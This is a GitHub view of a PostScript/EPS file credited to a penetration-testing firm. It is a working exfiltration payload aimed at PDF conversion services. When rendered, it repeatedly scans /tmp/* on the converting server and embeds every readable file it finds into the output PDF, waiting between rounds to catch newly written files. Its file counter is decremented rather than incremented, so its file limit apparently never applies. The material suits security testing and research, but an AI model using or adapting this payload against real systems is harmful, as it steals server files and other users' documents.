-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathlong_running_embed_files_in_pdf.ps
211 lines (173 loc) · 5.85 KB
/
long_running_embed_files_in_pdf.ps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
%!PS-Adobe-3.0 EPSF-3.0
%%Pages: 1
%%BoundingBox: 0 0 1000 1000
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% %
% RedTeam Pentesting GmbH %
% kontakt@redteam-pentesting.de %
% https://www.redteam-pentesting.de/ %
% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%% Configurable Variables
% how often files should be checked
/totalRounds 1000 def
% How many milliseconds to sleep inbetween rounds
/sleepDuration 10 def
% How many files can be included at most
/maxFileCount 100 def
% The folder with wildcard which will be embedded
/targetFolder (/tmp/*) def
% Enables printing error information to the page
/printErrors false def
%%%%%%%%%%%%%%%%%%% Page Setup
printErrors {
/xposinit 0 def
% how many chars per line
/charactercount 100 def
% white page
1 1 1 setrgbcolor clippath fill
% black text
0 0 0 setrgbcolor
/pagewidth currentpagedevice /PageSize get 0 get def
/pageheight currentpagedevice /PageSize get 1 get def
% calculate the character width
/characterWidth pagewidth xposinit sub charactercount 2 add div def
/Courier findfont setfont
/curWidth (-) stringwidth pop def
/Courier findfont characterWidth curWidth div scalefont setfont
/lineheight characterWidth curWidth div def
% initial x and y positions
/yposinit pageheight lineheight sub def
/xpos xposinit def
/ypos yposinit def
xpos ypos moveto
} if
%%%%%%%%%%%%%%%%%%% Helper Functions
% Concatenate two strings
% https://stackoverflow.com/questions/12378904/postscript-concatenate-two-strings
% (a) (b) -> (ab)
/concatstrings { exch dup length
2 index length add string
dup dup 4 2 roll copy length
4 -1 roll putinterval
} bind def
% Find findString in targetString and replace it with replaceWithString
% https://comp.lang.postscript.narkive.com/lb2y58U5/string-replace-in-postscript
% replaceWithString targetString findString findandreplaceall outString
/findandreplaceall {
() 4 1 roll % string' is an empty string initially.
{
search { % string' replace post find pre
3 index concatstrings 5 -1 roll % replace post find tail' string'
exch concatstrings 4 1 roll % string' replace post find
} {
exch pop concatstrings
exit
} ifelse
} loop
} bind def
% Move to new line and go to next page if current page is full
% lineheight newline -
/newline {
/lineheight exch def
% new page if we are at the bottom of the page
ypos lineheight lt {
showpage
/xpos xposinit def
/ypos yposinit def
xpos ypos moveto
} if
% decrease y position
ypos lineheight sub
/ypos exch def
% move cursor
xpos ypos moveto
} def
% Embeds the file located at parameter 1 into the PDF
% https://ghostscript.com/blog/zugferd.html
% inputFile inputFileName EmbedFile -
/EmbedFile {
/inputFileName exch def
/inputFile exch def
% As pdfmark does not support dynamically generated objname's, generate the code dynamically and replace the name with a dynamically generated one
({) inputFileName concatstrings (Stream}) concatstrings (
[ /_objdef {InvoiceStream} /type /stream /OBJ pdfmark
[ {InvoiceStream} << /Type /EmbeddedFile /Subtype (application/octet-stream) cvn >> /PUT pdfmark
[ {InvoiceStream} inputFile /PUT pdfmark
[ {InvoiceStream} /CLOSE pdfmark
[ /Name inputFileName /FS <<
/Type /FileSpec
/F inputFileName
/AFRelationship /Alternative
/EF << /F {InvoiceStream} >>
>> /EMBED pdfmark
) ({InvoiceStream}) findandreplaceall cvx exec
} def
% Busy waiting
% milliseconds Sleep -
/Sleep {
% Milliseconds to sleep
/sleepInterval exch def
% Get our starting time
usertime /starttime exch def
{
% Milliseconds since start
usertime starttime sub
% Exit if interval is exceeded
sleepInterval ge { exit } if
} loop
} def
% Prints the current errorname onto the page if error printing is enabled
% preErrorMessage printError -
/printError {
/preErrorMessage exch def
printErrors {
% if an error occurs, the cause is printed onto the page
/errormessage {
$error /errorname get 50 string cvs
} def
preErrorMessage show
lineheight newline
errormessage show
lineheight newline
} if
} def
%%%%%%%%%%%%%%%%%%% Actual Code
% Create dictionary which will store the filenames
/fileDict maxFileCount dict def
/fileCount 0 def
totalRounds {
targetFolder { %filenameforall
/currentFileName exch def
% Only include at most maxFileCount files
fileCount maxFileCount eq {
exit
} if
% check if we already have embedded this file
fileDict currentFileName known not {
/fileCount fileCount 1 sub def
% Put the filename into our dictionary, so we remeber that we already read this file
fileDict currentFileName () put
% First try to read the file
{
/currentFile currentFileName (r) file def
} stopped {
% if an error occured, we can properly clear the stack
pop pop pop
(opening file ") currentFileName concatstrings (" failed : ) concatstrings printError
}{
% if no error occured while reading the file, embed it
{
currentFile currentFileName EmbedFile
} stopped {
(embedding file ") currentFileName concatstrings (" failed : ) concatstrings printError
} {} ifelse
} ifelse
} if
} 4096 string filenameforall
sleepDuration Sleep
} repeat